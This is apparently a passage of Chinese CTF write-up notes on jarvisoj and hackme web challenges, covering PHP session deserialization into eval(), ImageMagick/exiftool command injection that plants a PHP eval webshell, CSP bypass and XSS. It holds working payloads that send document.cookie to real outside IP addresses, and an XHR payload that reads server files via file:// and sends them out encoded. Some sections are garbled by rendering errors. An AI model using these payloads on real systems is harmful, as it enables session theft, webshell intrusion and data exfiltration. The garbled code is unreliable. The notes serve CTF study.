218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
if (i !== r[n]) return ! 1
}
return ! 0
}
變成了一個數學題,解線性方程組
import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)
res = ''
for i in x:
res += chr(int(str(i)[0:-2]))
print(res)
jarvisoj PHPINFO
下面是題目給出的源碼,這題直接給出了 phpinfo,會有不少有意思的解法,之後慢慢補充
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();';
}
function __destruct() {
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])) {
$m = new OowoO();
}
else {
highlight_string(file_get_contents('index.php'));
}
?>
涉及到幾個知識點
1.[PHP Session 序列化及反序列化處理器設置使用不當帶來的安全隱患](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
在設置 SESSION 和讀取 SESSION 兩個階段中,若是使用了不一樣的序列化方法,將會致使任意對象注入,進而致使反序列化漏洞。<?php
例如:
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
存儲時使用 php_serialize ==> a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
反序列化使用 php ==>
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}
"
即 PHP 獲取 SESSION 字符串後,就開始查找第一個 |(豎線),用豎線將字符串分割成「鍵名」和「鍵值」,
並對「鍵值」進行反序列化。但若是此次反序列化失敗,就放棄此次解析,找到下一個豎線,執行一樣的操做,
直到成功。
明擺着有 eval(),但 $mdzz 好像不可控,那如何利用它執行咱們想要的操做呢,這就須要用到下一個知識。
2.[有趣的 php 反序列化總結](http://www.91ri.org/15925.html)
仔細查看給出的 phpinfo 配置文件,發現了 session.upload_progress.enabled 打開,而且 session.upload_progress.cleanup 關閉。
這就極大提升了漏洞的利用成功率。若是此選項 session.upload_progress.cleanup 打開,那麼在利用時攻擊者須要上傳 large and crash 文件,來使得咱們傳入的data得以執行。
https://img-blog.csdn.net/20171103001723738?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvd3lfOTc=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast
當一個上傳在處理中,同時 post 一個與 ini 設置的 session.upload_progress.name 同名變量時,php 檢測到這種 post 請求就會在 $_SESSION 中添加一組數據。
因此能夠經過 session.upload_progress 來設置 session。
若是不指定,PHP 默認使用 「php「 做爲 session 序列化的方法。
你能夠試試,設置 `$_SESSION['a|b'] = 1;`,會發現實際上設置不進去,這就是 「php「 的特性。
正經常使用法參見 example#1 http://php.net/manual/zh/session.upload-progress.php,配合 Ajax 就能顯示上傳進度
filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"
Array (
[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";
a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"]
=> OowoO Object (
[mdzz] => print_r($_SESSION);
)
)
存入 session 裏的形式是這樣的,由此看出,field_name 也是可控的,不必定要用 filename"
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
)
)
)
jarvisoj 圖片上傳
請設法獲取 /home/ctf/flag.txt 中的flag值。(建議使用png文件上傳)
掃目錄獲得一個 test.php,點進去發現是 phpinfo 界面
[phpinfo能夠告訴咱們什麼](http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/)
從中看到有個 imagick 擴展,此外 disable_function 爲空
imagemagick 存在 [cve](http://www.2cto.com/article/201605/505823.html)
這裏可使用 exiftool 工具,111.png 是本地已有的圖像
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> >
/opt/lampp/htdocs/uploads/x.php; \"" 111.png
由於路徑已知,直接 cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt
exiftool -label="\"|/bin/cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt ; \"" 111.png
按照 一葉飄零 的 wp,思路是這樣,但一直沒復現成功(可能掛了刪除馬,雲嶼師傅建議開幾個線程,連續寫,連續讀
注意這裏 是須要轉義兩次的意思是要在圖片裏面帶有一個 這樣在服務器上echo寫入的時候纔會保留
先上傳一次帶有後門的圖片獲得圖片路徑 而後拼接在發包一次修改 filetype 的參數爲 show
最後上菜刀獲得flag
jarvisoj Chopper
這個代理有點莫名其妙
/proxy.php?url=202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php
https://skysec.top/2018/08/15/%E4%BB%8E%E4%B8%80%E9%81%93CTF%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83/
jarvisoj babyxss
Hint1: csp bypass
有 CSP 的基本上就是 xss 題了
Content-Security-Policy: default-src 'self'; script-src 'self' 即只能加載同域的 js
(此處若是有上傳點,能夠先傳一個js上去,天然就同域了
扔到 https://csp-evaluator.withgoogle.com/ 檢測下
鮮紅的:object-src [missing]
object-src 定義 \<applet>、\<embed>、\<object> 等引用資源加載策略
參考 https://hurricane618.me/2018/06/30/csp-bypass-summary/
<link rel="prefetch" href="http://47.101.220.241:9999/?c=[cookie]">
<link rel='preload' href='http://demo.wywwzjj.top/public/xss.js'>
<link rel='prefetch' href='http://demo.wywwzjj.top/public/xss.js?c=jdklfa'>
<link rel='prefetch' href='120.77.176.168:11122?c=jdklfa'>
<link rel='prefetch' href='35.201.152.114:8001?c=jdklfa'>
<meta http-equiv="refresh" content="0; url='http://35.201.152.114:8001/xxx.jpg?refresh'">
<script>
var lin = document.createElement("link");
lin.setAttribute("rel", "prefetch");
lin.setAttribute("href", "http://35.201.152.114:8001?a=" + document.cookie);
document.head.appendChild(lin);
</script>
利用此腳本填md5驗證碼
import random
import string
import hashlib
def md5(s):
s = s.encode(encoding='utf8')
m = hashlib.md5()
m.update(s)
return m.hexdigest()
if __name__ == "__main__":
target = input()
while 1:
string = ''
s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
if md5(s)[:4] == target:
print(s)
break
# 上面的不靠譜就用這個
<?php
$hashfuc='md5';
while(1){
$arg = trim(fgets(STDIN));
$i = 0;
while(++$i){
if(substr($hashfuc($i), 0, strlen($arg)) === $arg){
echo($i."\n". $hashfuc($i)."\n");
break;
}
}
}
?>
#hackme xss
http://47.101.220.241:9999
<script>
document.location="http://47.101.220.241:9999?cookie="+document.cookie
new Image().src="http://47.101.220.241:9999?cookie="+document.cookie
</script>
<img src="http://47.101.220.241:9999?cookie="+document.cookie></img>
<svg/onload="document.location='http://47.101.220.241:9999'">
<iframe src=http://47.101.220.241:9999 <
<svg/onload="javascript:document.location.href=('http://47.101.220.241:9999?cookie='+document.cookie)">
不區分大小寫
<script
)
onmouseover
onload
onerror
onfocus
<iframe
<svg/onload="javascript:document.location.href=('http://47.101.220.241:9999?cookie='+document.cookie)">
<svg/onload=document.location="http://47.101.220.241:9999?cookie="+document.url>
url --> undefinded
referer --> localhost/read.php
因此我們能夠看看 config.php 有什麼內容
<!-- <?php
// database config
define(‘DB_USER’, ‘xssrf’);
define(‘DB_PASS’, ‘xssrfmeplz’);
define(‘DB_HOST’, ‘host=localhost’);
define(‘DB_NAME’, ‘xssrf’);
// redis config
define(‘REDIS_HOST’, ‘localhost’);
define(‘REDIS_PORT’, 25566);
// define flag
define(‘FLAG’, ‘FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}’);
$c_hardness = 5; // how many proof of work leading zeros
error_reporting(E_ALL ^ E_NOTICE);
session_start();
require(‘config.php’);
$connection_string = sprintf(‘mysql:%s;dbname=%s;charset=utf8mb4’, DB_HOST, DB_NAME);
db=newPDO(
db=newPDO(connection_string, DB_USER, DB_PASS);
require(‘user_func.php’);
require(‘mail_func.php’);
require(‘waf_func.php’);
function redirect($url=‘index.php’) {
$url = (string)preg_replace(’/[\r\n]+/’, ‘’, $url);
header(「Location: $url」);
}
function login_required() {
if(!isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: …=' . urlencode(_SERVER[‘REQUEST_URI’]));
exit;
}
}
function admin_required() {
login_required();
if($_SESSION[‘user’][‘is_admin’] !== ‘1’) {
$error_msg = ‘Admin required’;
require(‘error.php’);
exit;
}
}
function h(KaTeX parse error: Expected '}', got 'EOF' at end of input: …n htmlentities(str, ENT_QUOTES | ENT_HTML5);
}
if(isset($_SESSION[‘user’])) {
unreadcount=countunreadmail();if(
unreadcount=countunreadmail();if(_SESSION[‘user’][‘is_admin’]) {
if($_SERVER[‘REMOTE_ADDR’] !== ‘127.0.0.1’ && $_SERVER[‘REMOTE_ADDR’] !== ‘::1’) {
$error_msg = ‘Admin only allowed from localhost, but you came from ’ . $_SERVER[‘REMOTE_ADDR’];
require(‘error.php’);
exit;
}
}
}
?> -->
<?php error_reporting(E_ALL ^ E_NOTICE); session_start(); require(‘config.php’); $connection_string = sprintf(‘mysql:%s;dbname=%s;charset=utf8mb4’, DB_HOST, DB_NAME); $db = new PDO($connection_string, DB_USER, DB_PASS); require(‘user_func.php’); require(‘mail_func.php’); require(‘waf_func.php’); function redirect($url=‘index.php’) { $url = (string)preg_replace(’/[\r\n]+/’, ‘’, $url); header(「Location: $url」); } function login_required() { if(!isset($_SESSION[‘user’])) { redirect(‘login.php?next=’ . urlencode($_SERVER[‘REQUEST_URI’])); exit; } } function admin_required() { login_required(); if($_SESSION[‘user’][‘is_admin’] !== ‘1’) { $error_msg = ‘Admin required’; require(‘error.php’); exit; } } function h($str) { return htmlentities($str, ENT_QUOTES | ENT_HTML5); } if(isset($_SESSION[‘user’])) { $unread_count = count_unread_mail(); if($_SESSION[‘user’][‘is_admin’]) { if($_SERVER[‘REMOTE_ADDR’] !== ‘127.0.0.1’ && $_SERVER[‘REMOTE_ADDR’] !== ‘::1’) { $error_msg = 'Admin only allowed from localhost, but you came from ’ . $_SERVER[‘REMOTE_ADDR’]; require(‘error.php’); exit; } } }
<svg/οnlοad="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState4 && x.status200) {
document.location='http://47.101.220.241:9999/?code=’+btoa(x.responseText);
}
}
x.open(「POST」,「request.php」,true);
x.setRequestHeader(「Content-type」,「application/x-www-form-urlencoded」);
x.send(「url=file:///var/www/html/request.php」);
">
<svg/οnlοad="
var x=new XMLHttpRequest(); x.onreadystatechange=function() { if (x.readyState==4 && x.status==200) { document.location=‘http://47.101.220.241:9999/?code=’+btoa(x.responseText); } } x.open(「POST」,「request.php」,true); x.setRequestHeader(「Content-type」,「application/x-www-form-urlencoded」); x.send(「url=file:///var/www/html/request.php」);
">
PCFET0NUWVBFIGh0bWw CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5YU1NSRiAtIFJlcXVlc3Q8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJib290c3RyYXAvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIiBtZWRpYT0iYWxsIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0ic3R5bGUuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDxzdHlsZT5wcmUgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZWVlOyBwYWRkaW5nOiA1cHg7IH08L3N0eWxlPgogIDwvaGVhZD4KICA8Ym9keT4KPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgbmF2YmFyLWRhcmsgYmctZGFyayBkLWZsZXgiPgogIDxhIGNsYXNzPSJuYXZiYXItYnJhbmQiIGhyZWY9ImluZGV4LnBocCI WFNTUkY8L2E CgogIDx1bCBjbGFzcz0ibmF2YmFyLW5hdiI CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZW5kbWFpbC5waHAiPlNlbmQgTWFpbDwvYT4KICAgIDwvbGk CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJtYWlsYm94LnBocCI TWFpbGJveDwvYT4KICAgIDwvbGk CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZW50bWFpbC5waHAiPlNlbnQgTWFpbDwvYT4KICAgIDwvbGk CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJzZXRhZG1pbi5waHAiPlNldCBBZG1pbjwvYT4KICAgIDwvbGk CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSJyZXF1ZXN0LnBocCI U2VuZCBSZXF1ZXN0PC9hPgogICAgPC9saT4KICA8L3VsPgoKICA8dWwgY2xhc3M9Im5hdmJhci1uYXYgbWwtYXV0byI CiAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10ZXh0Ij5IZWxsbywgYWRtaW4gKEFkbWluaXN0cmF0b3IpPC9zcGFuPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICA8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9ImxvZ291dC5waHAiPkxvZ291dDwvYT4KICAgIDwvbGk CiAgPC91bD4KPC9uYXY CgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCiAgICAgIDxwcmU PGNvZGU Jmx0OyZxdWVzdDtwaHAgcmVxdWlyZSZscGFyOyZhcG9zO2NvbW1vbiZwZXJpb2Q7cGhwJmFwb3M7JnJwYXI7JnNlbWk7Jk5ld0xpbmU7YWRtaW4mbG93YmFyO3JlcXVpcmVkJmxwYXI7JnJwYXI7JnNlbWk7Jk5ld0xpbmU7Jk5ld0xpbmU7JmRvbGxhcjttc2cgJmVxdWFsczsgJmxicmFjazsmcnNxYjsmc2VtaTsmTmV3TGluZTsmZG9sbGFyO3VybCAmZXF1YWxzOyAmYXBvczsmYXBvczsmc2VtaTsmTmV3TGluZTsmZG9sbGFyO3Jlc3VsdCAmZXF1YWxzOyAmYXBvczsmYXBvczsmc2VtaTsmTmV3TGluZTsmTmV3TGluZTtpZiZscGFyO2lzc2V0JmxwYXI7JmRvbGxhcjsmbG93YmFyO1BPU1QmbGJyYWNrOyZhcG9zO3VybCZhcG9zOyZyc3FiOyZycGFyOyZycGFyOyAmbGJyYWNlOyZOZXdMaW5lOyAgICAmZG9sbGFyO3VybCAmZXF1YWxzOyAmZG9sbGFyOyZsb3diYXI7UE9TVCZsYnJhY2s7JmFwb3M7dXJsJmFwb3M7JnJzcWI7JnNlbWk7Jk5ld0xpbmU7ICAgICZkb2xsYXI7cmVzdWx0ICZlcXVhbHM7IHNoZWxsJmxvd2JhcjtleGVjJmxwYXI7JmFwb3M7Y3VybCAtbSAxIC0tY29ubmVjdC10aW1lb3V0IDEgLXMgJmFwb3M7ICZwZXJpb2Q7IGVzY2FwZXNoZWxsYXJnJmxwYXI7JmRvbGxhcjt1cmwmcnBhcjsmcnBhcjsmc2VtaTsmTmV3TGluZTsmcmN1YjsmTmV3TGluZTsmcXVlc3Q7Jmd0OyZsdDsmZXhjbDtET0NUWVBFIGh0bWwmZ3Q7Jk5ld0xpbmU7Jmx0O2h0bWwgbGFuZyZlcXVhbHM7JnF1b3Q7ZW4mcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAmbHQ7aGVhZCZndDsmTmV3TGluZTsgICAgJmx0O21ldGEgY2hhcnNldCZlcXVhbHM7JnF1b3Q7VVRGLTgmcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAgICZsdDt0aXRsZSZndDtYU1NSRiAtIFJlcXVlc3QmbHQ7JnNvbDt0aXRsZSZndDsmTmV3TGluZTsgICAgJmx0O2xpbmsgcmVsJmVxdWFsczsmcXVvdDtzdHlsZXNoZWV0JnF1b3Q7IGhyZWYmZXF1YWxzOyZxdW90O2Jvb3RzdHJhcCZzb2w7Y3NzJnNvbDtib290c3RyYXAmcGVyaW9kO21pbiZwZXJpb2Q7Y3NzJnF1b3Q7IG1lZGlhJmVxdWFsczsmcXVvdDthbGwmcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAgICZsdDtsaW5rIHJlbCZlcXVhbHM7JnF1b3Q7c3R5bGVzaGVldCZxdW90OyBocmVmJmVxdWFsczsmcXVvdDtzdHlsZSZwZXJpb2Q7Y3NzJnF1b3Q7IG1lZGlhJmVxdWFsczsmcXVvdDthbGwmcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAgICZsdDtzdHlsZSZndDtwcmUgJmxicmFjZTsgYmFja2dyb3VuZC1jb2xvciZjb2xvbjsgJm51bTtlZWUmc2VtaTsgcGFkZGluZyZjb2xvbjsgNXB4JnNlbWk7ICZyY3ViOyZsdDsmc29sO3N0eWxlJmd0OyZOZXdMaW5lOyAgJmx0OyZzb2w7aGVhZCZndDsmTmV3TGluZTsgICZsdDtib2R5Jmd0OyZOZXdMaW5lOyZsdDsmcXVlc3Q7cGhwIHJlcXVpcmUmbHBhcjsmYXBvcztuYXYmcGVyaW9kO3BocCZhcG9zOyZycGFyOyZzZW1pOyAmcXVlc3Q7Jmd0OyZOZXdMaW5lOyZOZXdMaW5lOyAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFsczsmcXVvdDtjb250YWluZXImcXVvdDsmZ3Q7Jk5ld0xpbmU7Jmx0OyZxdWVzdDtwaHAgZm9yZWFjaCZscGFyOyZkb2xsYXI7bXNnIGFzIGxpc3QmbHBhcjsmZG9sbGFyO3R5cGUmY29tbWE7ICZkb2xsYXI7Y29udGVudCZycGFyOyZycGFyOyZjb2xvbjsgJnF1ZXN0OyZndDsmTmV3TGluZTsgICAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFsczsmcXVvdDthbGVydCBhbGVydC0mbHQ7JnF1ZXN0OyZlcXVhbHM7JmRvbGxhcjt0eXBlJnNlbWk7JnF1ZXN0OyZndDsmcXVvdDsmZ3Q7Jmx0OyZxdWVzdDsmZXF1YWxzOyZkb2xsYXI7Y29udGVudCZzZW1pOyZxdWVzdDsmZ3Q7Jmx0OyZzb2w7ZGl2Jmd0OyZOZXdMaW5lOyZsdDsmcXVlc3Q7cGhwIGVuZGZvcmVhY2gmc2VtaTsgJnF1ZXN0OyZndDsmTmV3TGluZTsmTmV3TGluZTsmbHQ7JnF1ZXN0O3BocCBpZiZscGFyOyZkb2xsYXI7cmVzdWx0JnJwYXI7JmNvbG9uOyAmcXVlc3Q7Jmd0OyZOZXdMaW5lOyAgICAgICZsdDtwcmUmZ3Q7Jmx0O2NvZGUmZ3Q7Jmx0OyZxdWVzdDsmZXF1YWxzO2gmbHBhcjsmZG9sbGFyO3Jlc3VsdCZycGFyOyZxdWVzdDsmZ3Q7Jmx0OyZzb2w7Y29kZSZndDsmbHQ7JnNvbDtwcmUmZ3Q7Jk5ld0xpbmU7Jmx0OyZxdWVzdDtwaHAgZW5kaWYmc2VtaTsgJnF1ZXN0OyZndDsmTmV3TGluZTsmTmV3TGluZTsgICAgICAmbHQ7Zm9ybSBhY3Rpb24mZXF1YWxzOyZxdW90OyZsdDsmcXVlc3Q7JmVxdWFsczsmZG9sbGFyOyZsb3diYXI7U0VSVkVSJmxicmFjazsmYXBvcztSRVFVRVNUJmxvd2JhcjtVUkkmYXBvczsmcnNxYjsmcXVlc3Q7Jmd0OyZxdW90OyBtZXRob2QmZXF1YWxzOyZxdW90O1BPU1QmcXVvdDsmZ3Q7Jk5ld0xpbmU7ICAgICAgICAmbHQ7ZGl2IGNsYXNzJmVxdWFsczsmcXVvdDtmb3JtLWdyb3VwJnF1b3Q7Jmd0OyZOZXdMaW5lOyAgICAgICAgICAmbHQ7bGFiZWwgZm9yJmVxdWFsczsmcXVvdDt1cmwmcXVvdDsmZ3Q7VVJMJmx0OyZzb2w7bGFiZWwmZ3Q7Jk5ld0xpbmU7ICAgICAgICAgICZsdDt0ZXh0YXJlYSBuYW1lJmVxdWFsczsmcXVvdDt1cmwmcXVvdDsgY2xhc3MmZXF1YWxzOyZxdW90O2Zvcm0tY29udHJvbCZxdW90OyBpZCZlcXVhbHM7JnF1b3Q7dXJsJnF1b3Q7IGFyaWEtZGVzY3JpYmVkYnkmZXF1YWxzOyZxdW90O3VybCZxdW90OyBwbGFjZWhvbGRlciZlcXVhbHM7JnF1b3Q7VVJMJnF1b3Q7IHJvd3MmZXF1YWxzOyZxdW90OzEwJnF1b3Q7Jmd0OyZsdDsmcXVlc3Q7JmVxdWFsczsmZG9sbGFyO3VybCZxdWVzdDsmZ3Q7Jmx0OyZzb2w7dGV4dGFyZWEmZ3Q7Jk5ld0xpbmU7ICAgICAgICAmbHQ7JnNvbDtkaXYmZ3Q7Jk5ld0xpbmU7Jk5ld0xpbmU7ICAgICAgICAmbHQ7YnV0dG9uIGNsYXNzJmVxdWFsczsmcXVvdDtidG4gYnRuLXByaW1hcnkmcXVvdDsmZ3Q7U2VuZCBSZXF1ZXN0Jmx0OyZzb2w7YnV0dG9uJmd0OyZOZXdMaW5lOyAgICAgICZsdDsmc29sO2Zvcm0mZ3Q7Jk5ld0xpbmU7ICAgICZsdDsmc29sO2RpdiZndDsmTmV3TGluZTsgICZsdDsmc29sO2JvZHkmZ3Q7Jk5ld0xpbmU7Jmx0OyZzb2w7aHRtbCZndDsmTmV3TGluZTs8L2NvZGU PC9wcmU CgogICAgICA8Zm9ybSBhY3Rpb249Ii9yZXF1ZXN0LnBocCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgIDxsYWJlbCBmb3I9InVybCI VVJMPC9sYWJlbD4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJ1cmwiIGFyaWEtZGVzY3JpYmVkYnk9InVybCIgcGxhY2Vob2xkZXI9IlVSTCIgcm93cz0iMTAiPmZpbGU6Ly8vdmFyL3d3dy9odG1sL3JlcXVlc3QucGhwPC90ZXh0YXJlYT4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5TZW5kIFJlcXVlc3Q8L2J1dHRvbj4KICAgICAgPC9mb3JtPgogICAgPC9kaXY CiAgPC9ib2R5Pgo8L2h0bWw Cg==
hackme command-exeutor
只能執行兩個命令 ls / env,猜想試任意命令執行
這裏有文件包含,拖到全部源碼
index.php?func=php://filter/read=convert.base64-encode/resource=index
# index
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
